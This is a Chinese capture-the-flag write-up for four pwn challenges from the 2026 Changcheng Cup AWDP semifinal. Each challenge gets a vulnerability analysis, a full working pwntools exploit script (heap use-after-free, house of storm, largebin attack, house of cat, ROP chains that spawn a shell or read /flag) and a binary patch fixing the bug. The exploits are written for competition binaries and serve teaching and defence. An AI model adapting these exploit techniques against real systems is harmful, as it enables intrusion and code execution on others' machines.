2026长城杯半决赛 AWDP-PWN

附件:https://pan.quark.cn/s/ed26974c74d5

catchme

break

这题很明显有个 uaf 漏洞,free 后 show 可以泄露出 libc, libc 版本是 2.27 ,由于 edit 只能从 8 字节偏移处开始写,没法用常规的 uaf 修改 tcachebin 和 fastbin ,因此我们需要用到 house of storm 的手法,只要堆地址是 0x56 开头就可以成功

exp

#!/usr/bin/python3
from pwn import *

context(log_level="debug",os="linux",arch="amd64")

pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()

file_name = './catchme'
p = process(file_name)
#p = remote(")
elf = ELF(file_name)
libc = elf.libc


def borrow(idx):
    rt(">>\n")
    sl('1')
    rt("(3)otter\n")
    sl(str(idx))

def delete(idx):
    rt(">>\n")
    sl("2")
    rt("index:\n")
    sl(str(idx))

def show(idx):
    rt(">>\n")
    sl("3")
    rt("index:\n")
    sl(str(idx))

def set_name(idx, content):
    rt(">>\n")
    sl("4")
    rt("index:\n")
    sl(str(idx))
    rt("set tag:\n")
    s(content)

def clean(idx):
    rt(">>\n")
    sl("6")
    rt("index:\n")
    sl(str(idx))

while True:
    # p = remote("10.11.253.75", 21733)
    p = process(file_name)
    
    for i in range(7):
        borrow(3)
        delete(0)
        clean(0)

    borrow(1) # 0
    borrow(1) # 1
    delete(0)
    show(0)
    
    rt("tag:")
    leak_address = u64(p.recv(6).ljust(8, b'\x00'))
    log.info(hex(leak_address))
    
    libc_base = leak_address - 0x3ebca0
    log.info(hex(libc_base))
    
    borrow(2) # 2

    rt("token(2):")
    flag_hex_str = p.recvline().strip()
    flag_value = int(flag_hex_str, 16)
    print(flag_hex_str)
    
    if flag_value != 0x56:
        p.close()
        continue
    
    borrow(2) # 3
    delete(2)

    free_hook_address = libc_base + 0x3ed8e8
    log.info(hex(free_hook_address))

    payload = p64(free_hook_address - 0x10 - 0x8)
    set_name(2, payload)

    payload = p64(free_hook_address - 0x10 - 0x8 + 0x8)
    payload += p64(0)
    payload += p64(free_hook_address - 0x18 - 0x10 - 0x8 - 5)
    set_name(0, payload)
    

    one_gadget = libc_base + 0x4f302    
    borrow(3)
    set_name(4, p64(one_gadget))
    delete(0)

    it()


fix

free 后把指针清空就可以过 check

0E25 028 B8 00 00 00 00                mov     eax, 0

改为

0E25 028 48 89 1F                      mov     [rdi], rbx                      


broken_message

break

逆向出的结构体

struct broken_arena // sizeof=0x40
00000000 {                                       // XREF: .bss:g_root_arena/r
00000000     unsigned __int64 magic;
00000008     unsigned __int64 freelist_decode_mask; // XREF: arena_alloc+12D/r
00000010     unsigned int freelist_cookie;       // XREF: arena_alloc+137/r
00000010                                         // arena_alloc+213/r
00000014     unsigned int bytes_left;
00000018     unsigned int arena_size;
0000001C     unsigned int _pad;
00000020     struct broken_arena *next;          // XREF: arena_init+A5/w
00000028     struct broken_arena *prev;          // XREF: arena_init+73/r
00000028                                         // arena_init+82/r ...
00000030     void *bump_cursor;
00000038     unsigned int *freelist_heads;       // XREF: arena_alloc:loc_15F1/r
00000038                                         // arena_alloc+118/r ...
00000040 };


初始化我们可以看到这里注册了一个堆上的备用栈

漏洞点

可以看到也是 uaf 漏洞

从具体的 free 函数看出程序对空闲堆块的管理是单链表,对指针有类似高版本 glibc 的指针保护,这意味着我们没法泄露出 heap 地址

但是我们看到程序注册了段错误处理的 handle

这里可以看到会把报错的地址给我们,也就意味着,我们随便伪造一个非法地址,程序不会退出,而是在备用栈上重新启动一个 main,那么通过这个非法地址的信息,我们就可以计算出 heap 地址:double free 后 show,我们可以得到 heap^key 的值,再 add 写入 0x80808080,这个时候就把一个伪造的地址链入了 bin 中,再 add 两次就会触发段错误,会将错误地址打印出来,这个错误地址就是 0x80808080 ^ key,我们可以算出 key 进而算出 heap 地址

由于我们已经知道了 heap 地址,第二次我们 double free 后show 就可以算出 key,这个时候就相当于有了任意地址读写,而备用栈是在 heap 地址上的,所以我们也知道了栈地址,只要读出栈上的函数地址就可以泄露 libc,然后 ret2system 即可

exp

#!/usr/bin/python3
from pwn import *

context(log_level="debug",os="linux",arch="amd64")

pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()

file_name = './pwn'
p = process(file_name)
# p = remote('10.11.253.70', 24723)
elf_file = ELF(file_name)
libc_file = ELF("./libc.so.6")

context.log_level = 'debug'
context(arch=elf_file.arch, bits=elf_file.bits, endian=elf_file.endian, os=elf_file.os)


def add(idx, size, content):
    rt(">>")
    sl('1')
    rt(": ")
    sl(str(idx))
    rt(": ")
    sl(str(size))
    rt(": ")
    s(content)

def free(idx):
    rt(">>")
    sl('2')
    rt(": ")
    sl(str(idx))

def show(idx):
    rt(">>")
    sl('3')
    rt(": ")
    sl(str(idx))

def edit(idx, content):
    rt(">>")
    sl('4')
    rt(": ")
    sl(str(idx))
    rt(": ")
    s(content)


add(0,0x100,b'\x80'*4)
free(0)
free(0)
show(0)
key_a = ru(4)
pr(key_a)

add(1, 0x100, b'\x80\x80\x80\x80')
add(2, 0x100, b'\x80\x80\x80\x80')
add(3, 0x100, b'')

rt('0x')
key_1 = ri(12) ^ 0x80808080
heap_address_1 = (key_1 ^ key_a) - 4
pr(heap_address_1)

add(0,0x100,b'\x80'*4)
free(0)
free(0)
show(0)
key_b = ru(4)
heap_address_2 = heap_address_1 + 0x4000 + 4
srop_address = heap_address_1 - 0xc28 + 0x640
key_2 = heap_address_2 ^ key_b
pr(srop_address)

add(1, 0x100, p64(srop_address ^ key_2)[0:4])
add(2, 0x100, b'0')
add(3, 0x100, b'0')
show(3)

libc_base_address = u64(p.recv(6) + b'\x00\x00') - 0x45330
pr(libc_base_address)

ret_gadget = libc_file.search(asm("ret"), executable=True).__next__() + libc_base_address
pop_rdi_gadget = libc_file.search(asm("pop rdi; ret"), executable=True).__next__() + libc_base_address
bin_sh_address = libc_file.search('/bin/sh').__next__() + libc_base_address
system_address = libc_file.sym['system'] + libc_base_address

edit(3, p64(pop_rdi_gadget) + p64(bin_sh_address) + p64(ret_gadget) + p64(system_address))

rt('>>')
sl('5')

it()


fix

把 size 的清空改成 heap 的清空

lea     rdx, ds:0[rax*4]
lea     rax, dword_5140
mov     dword ptr [rdx+rax], 0

改成

lea     rdx, ds:0[rax*8]                          
lea     rax, qword_50C0 
mov     qword ptr [rdx+rax], 0
nop


easy_rw_revenge

break

和初赛一样,有个前端,这次前端比较简单

只要过了 rc4 加密就可以和后端通信

#!/usr/bin/python3
from Cryptodome.Cipher import ARC4
from pwn import *
from ctypes import *

clibc = cdll.LoadLibrary("./libc.so.6")

context(log_level="debug",os="linux",arch="amd64")

pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()

# file_name = ''
# p = process(file_name)
p = remote("localhost",9999)


def rc4_encrypt(plaintext):
    global key
    cipher = ARC4.new(key)
    return cipher.encrypt(plaintext)


def tel(choose,size):
    return p32(choose) + p64(0) + p32(size)

def login(data):
    length = len(data)
    pay = tel(0xFFFF2525,length) + data
    s(pay)

content = b"#welcome!_c1sCn_2026"

clibc.srand(int(time.time()))
key = []
for i in range(0x20):
    key.append(clibc.rand()&0xff)

key = bytes(key)
result = rc4_encrypt(content)

login(result)
cookie = p.recv(0x20)
print(cookie)

it()

通过这个脚本可以拿到 cookie,接下来就看后端

后端服务需要爆破一下 md5 值

这里由于 md5 值是 0x7C994FE632004064,第三位是 \0,因此我们只需爆破三位即可

import itertools
import hashlib
import string

chrs = string.ascii_letters
for i in itertools.product(chrs,repeat=8):
    data = ''.join(i)
    res = hashlib.md5(data.encode()).hexdigest()
    if res[:6] == "644000":
        print(f"result: {data}")
        print(res)
        break

得到的结果是 aaabUYkl

漏洞点比较隐晦

这里看似 free 后会把原先值覆盖,但是由于 size 是 int 类型,导致可以负数绕过大小限制,malloc 失败后程序程序不会中止,原先的 heap 地址也没有覆盖,这样就会导致 uaf 漏洞;由于只有 0x500 大小以上的堆块可以 uaf,因此通过 largebin attack 覆盖 _IO_list_all 打 house of cat 的 orw

exp

#!/usr/bin/python3
from pwn import *

context(log_level="debug",os="linux",arch="amd64")

pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()

file_name = './pwn1'
ip = "localhost"
port = 9999
p = remote("localhost",9999)
elf = ELF(file_name)
libc = ELF("./libc.so.6")

cookie = b'\xe8\xb0\xcd\xc9\xdd\x1e\xb4\xf3X\xcd\xa7\x16\x9c]M\xfb\x80\n\x04\xacI\xc3A^Y\x0b\x0cRj\xc3\x0b\xdc'

def restart():
    global p
    p.close()
    p = remote(ip,port)

def tel(command,size,idx,content):
    pay = cookie + start + b'{' + ':'.join([command,str(size),str(idx)]).encode() + b':' + content + b'}'
    length = len(pay)
    pay = p32(0x7F687985) + p64(0) + p32(length) + pay
    return pay

def add(idx,size,content=b''):
    global p
    s(tel("add",size,idx,content))
    restart()

def edit(idx,content):
    s(tel("edit",idx,0,content))
    restart()

def free(idx):
    s(tel("delete",idx,0,b''))
    restart()

def show(idx):
    s(tel("show",idx,0,b''))


def free2(idx):
    global p
    s(tel("add",-1,idx,b''))
    restart()

start = b"rtsp://aaabUYkl/"

add(0,0x510)
add(1,0x510)
add(2,0x510)
add(3,0x510)

free2(0)
free2(2)


show(0)
libc.address = ru(6) - 0x21ace0
pr(libc.address)
restart()

show(2)
heap = ru(6)
pr(heap)
restart()

free(1)
free(3)

large_size = 0x540
small_size = 0x530
su_large_size = 0x700

rax = next(libc.search(asm("pop rax;ret")))
rdi = next(libc.search(asm("pop rdi;ret")))
rsi = next(libc.search(asm("pop rsi;ret")))
rdx = next(libc.search(asm("pop rdx;pop r12;ret")))
syscall = next(libc.search(asm("syscall;ret")))

#heap_addr 是用来构造数据的堆的数据区地址,也就是 rdx 所指向的位置
heap_addr = heap + 0x560
pay = flat({
0x0: heap_addr + 0xb0, 
0x8: b'/flag\x00\x00\0',
0xa0: heap_addr + 0xb0, # rsp
0xa8: rax # rip
},filler = p64(heap)) #其余位置必须是一个地址,否则会报错,数值是什么都无所谓

pay = pay.ljust(0xb0,b'\x00')
#前面是

addr = heap_addr + 0x8  # '/flag地址'
addr2 = heap_addr + 0x10  # 存放flag的地址
#这里用的是 openat
pay += flat(257,rdi,-0x64,rsi,addr,rdx,0,0,syscall)
pay += flat(rax,0,rdi,5,rsi,addr2,rdx,0x30,0,syscall)
pay += flat(rax,1,rdi,4,rsi,addr2,rdx,0x30,0,syscall)


add(4,large_size)
add(1,0x400,pay)

pr(heap+0xa90)
fake_addr = heap + 0xa90 - 0x130 # 自己的地址
pay2 = flat({                           
0x20: p64(libc.sym["setcontext"]+0x3d), # call  
0x38: p64(1), # wide->data->write_base and mode
0x40: p64(heap_addr), # wite_ptr and rdx 
0x78: p64(fake_addr + 0x50), # _lock = a writable address == 0                          
0x90: p64(fake_addr + 0x30), # wide_data                                           
0xb0: p64(1), # mode                                       
0xc8: p64(libc.sym["_IO_wfile_jumps"] + 0x30),
0x100: p64(fake_addr + 0x18) # rax
},filler = b'\0') 

add(5,small_size,pay2)
free2(4)
add(3,su_large_size)

free(5)

IO_list_all = libc.sym["_IO_list_all"]

edit(4,flat(0,libc.address+0x21b120,0,IO_list_all-0x20))

add(9,su_large_size)

s(tel("delete",0x10,0,b''))


it()


fix

把有符号跳转改成无符号跳转即可

jg      short loc_18A7

改成

jnb     short loc_18A7



minidb

break

漏洞分析

程序正常逻辑是只有堆块引用为 0 才会 free

但是有一个分支

这里不管堆块引用有多少,都会 free 掉,这里就会存在 uaf 漏洞;

同时

这里有没有对 heap 内容清空,会导致信息残留

由于该程序没有提供类似 edit 的功能,我们考虑通过预留指针造成堆叠来修改已经 free 的堆块,最后走 house of cat

exp

#!/usr/bin/python3
from pwn import *

context(log_level="debug",os="linux",arch="amd64")

pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()

file_name = './pwn'
p = process(file_name)
#p = remote(")
elf = ELF(file_name)
libc = elf.libc


pie = 1
def dbg(* addrs):                                                       
    pay = ''                                                                    
    if pie:                                                                     
        for i in addrs:                                                         
            pay += 'b *$rebase( ' + str(i) + ')' + '\n'                         
    else:                                                                       
        for i in addrs:                                                          
            pay += 'b *' + str(i) + '\n'                                        
    gdb.attach(p,pay) 


def set_content(key,value):
    rt("> ")
    sl(b"SET " + key)
    rt("Value> ")
    sl(value)

def get_content(key):
    rt("> ")
    sl(b"GET " + key)
    rt("VAL: ")

def clone(src_key,dest_key):
    rt("> ")
    sl(b"CLONE "+src_key+b' '+dest_key)

def multi():
    rt("> ")
    sl(b"MULTI")

def exec():
    rt("> ")
    sl(b"EXEC")

def debug():
    gdb.attach(p)
    pause()

def abort():
    rt("> ")
    sl(b'ABORT')

# dbg(0x16F4)
# dbg(0x01948) # show


multi()
set_content(b'a',b'a'*0x4f0)
set_content(b'a',b'a'*0x500)
multi()
set_content(b'b',b'a'*0x500)
clone(b'b',b'c')
set_content(b'b',b'a'*0x500)
set_content(b'd',b'a'*0x510)
get_content(b'c')
heap = ru(6)
pr(heap)
exec()
set_content(b'a',b'a'*0x510)

# 
set_content(b'e',b'a'*0x960)
get_content(b'c')
libc.address = ru(6) - 0x21ace0
pr(libc.address)

key1 = (heap >> 12) + 1
# dbg(0x01948)
set_content(p8(110),b'a'*0x500)
multi()
set_content(p8(111),b'a'*0x500)
clone(p8(111),p64(key1))
clone(p8(111),p8(113))
set_content(p8(111),b'a'*0x100)
exec()
set_content(p8(110),b'a'*0x100)
set_content(p8(114),b'a'*0x500+flat(0,0x51,0,0))
multi()
set_content(p8(115),b'a'*0x30)
exec()
set_content(p8(115),b'a'*0x100)
multi()
set_content(p64(key1),b'a'*100)
exec()
set_content(p8(114),b'a'*0x100)
target = ((heap+0x19d0)>>12) ^ (libc.sym["_IO_list_all"]-0x10)
set_content(p8(115),b'a'*0x500+flat(0,0x51,target,0))


fake_addr =  heap+0x1c40#伪造的 _IO_list_all 的地址,一般是堆块数据区
pay = flat({                                                                    
0x0: b"/bin/sh\0", #_flags=rdi                                                  
0x8: p64(1), # wide->data->write_base and mode                                          
0x10: p64(0xdeadbeef), # wide->data->write_ptr and rdx                          
0x18: p64(libc.sym["system"]), # call                                                 
0x88: p64(fake_addr + 0x30), # _lock = a writable address == 0                          
0xa0: p64(fake_addr - 0x10), # wide_data                                           
0xc0: p64(1), # mode                                                               
0xd0: p64(fake_addr), # rax                                                     
0xd8: p64(libc.sym["_IO_wfile_jumps"] + 0x30)},filler = b'\0') 


set_content(p8(117),pay)
set_content(p8(114),b'a'*0x30)
set_content(p8(110),flat(fake_addr)+b'a'*0x28)

rt("> ")
sl("EXIT")


it()